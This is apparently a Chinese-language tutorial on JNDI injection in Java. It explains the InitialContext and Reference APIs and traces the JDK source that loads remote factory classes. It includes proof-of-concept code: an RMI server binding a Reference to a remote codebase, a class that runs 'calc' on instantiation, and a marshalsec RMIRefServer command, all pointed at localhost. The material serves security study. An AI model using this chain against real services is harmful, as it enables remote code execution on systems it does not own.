浅谈JNDI利用

InitialContext() 构建一个初始上下文。InitialContext(boolean lazy) 构造一个初始上下文，并选择不初始化它。InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。

InitialContext initialContext = new InitialContext();

bind(Name name, Object obj)   将名称绑定到对象。list(String name)   枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name)   检索命名对象。rebind(String name, Object obj)   将名称绑定到对象，覆盖任何现有绑定。unbind(String name)   取消绑定命名对象。

Reference(String className)   为类名为“className”的对象构造一个新的引用。Reference(String className, RefAddr addr)   为类名为“className”的对象和地址构造一个新引用。Reference(String className, RefAddr addr, String factory, String factoryLocation)   为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。Reference(String className, String factory, String factoryLocation)   为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。代码：String url = "http://127.0.0.1:8080";        Reference reference = new Reference("test", "test", url);参数1：className - 远程加载时所使用的类名参数2：classFactory - 加载的class中需要实例化类的名称参数3：classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

void add(int posn, RefAddr addr)   将地址添加到索引posn的地址列表中。void add(RefAddr addr)   将地址添加到地址列表的末尾。void clear()   从此引用中删除所有地址。RefAddr get(int posn)   检索索引posn上的地址。RefAddr get(String addrType)   检索地址类型为“addrType”的第一个地址。Enumeration<RefAddr> getAll()   检索本参考文献中地址的列举。String getClassName()   检索引用引用的对象的类名。String getFactoryClassLocation()   检索此引用引用的对象的工厂位置。String getFactoryClassName()   检索此引用引用对象的工厂的类名。Object remove(int posn)   从地址列表中删除索引posn上的地址。int size()   检索此引用中的地址数。String toString()   生成此引用的字符串表示形式。

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {    String url = "http://127.0.0.1/";    Registry registry = LocateRegistry.createRegistry(1099);    Reference reference = new Reference("test","test",url);    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);    registry.bind("work",referenceWrapper);
}

public static void main(String[] args) throws NamingException, IOException {    String uri = "rmi://127.0.0.1:1099/work";    InitialContext initialContext = new InitialContext();//得到初始化目录的一个引用    initialContext.lookup(uri);//获取远程对象    System.out.println("Client Runing....");}

import java.io.IOException;
public class test {    public test() throws IOException {        Runtime.getRuntime().exec("calc");    }}

public Object lookup(String name) throws NamingException {    return getURLOrDefaultInitCtx(name).lookup(name);}

public Object lookup(String var1) throws NamingException {    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
    Object var4;    try {        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找    } finally {        var3.close();    }
    return var4;}再次跟进lookup并进入decodeObjectpublic Object lookup(Name var1) throws NamingException {    if (var1.isEmpty()) {        return new RegistryContext(this);    } else {        Remote var2;        try {            var2 = this.registry.lookup(var1.get(0));        } catch (NotBoundException var4) {            throw new NameNotFoundException(var1.get(0));        } catch (RemoteException var5) {            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();        }
        return this.decodeObject(var2, var1.getPrefix(1));    }}

//如果是Reference对象会，进入var.getReference()，与RMI服务器进行一次连接，获取到远程class文件地址。            //如果是普通RMI对象服务，这里不会进行连接，只有在正式远程函数调用的时候才会连接RMI服务。private Object decodeObject(Remote var1, Name var2) throws NamingException {     try {        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;        return NamingManager.getObjectInstance(var3, var2, this, this.environment);     } catch (NamingException var5) {        throw var5;     } catch (RemoteException var6) {        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();     } catch (Exception var7) {        NamingException var4 = new NamingException();        var4.setRootCause(var7);        throw var4;     }}

// Use reference if possibleReference ref = null;if (refInfo instanceof Reference) {    ref = (Reference) refInfo;} else if (refInfo instanceof Referenceable) {    ref = ((Referenceable)(refInfo)).getReference();}
Object answer;
if (ref != null) {    String f = ref.getFactoryClassName();    if (f != null) {        factory = getObjectFactoryFromReference(ref, f);        if (factory != null) {            return factory.getObjectInstance(ref, name, nameCtx,                                             environment);        }        return refInfo;
    }跟进getObjectFactoryFromReference，代码如下，很明显就会加载我们的恶意类static ObjectFactory getObjectFactoryFromReference(    Reference ref, String factoryName)    throws IllegalAccessException,    InstantiationException,    MalformedURLException {    Class<?> clas = null;
    try {         clas = helper.loadClass(factoryName);    } catch (ClassNotFoundException e) {
    }
    String codebase;    if (clas == null &&            (codebase = ref.getFactoryClassLocation()) != null) {                //此处codebase是我们在恶意RMI服务端中定义的地址        try {            clas = helper.loadClass(factoryName, codebase);        } catch (ClassNotFoundException e) {        }    }    //实例化就会执行calc    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;}

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#test 8088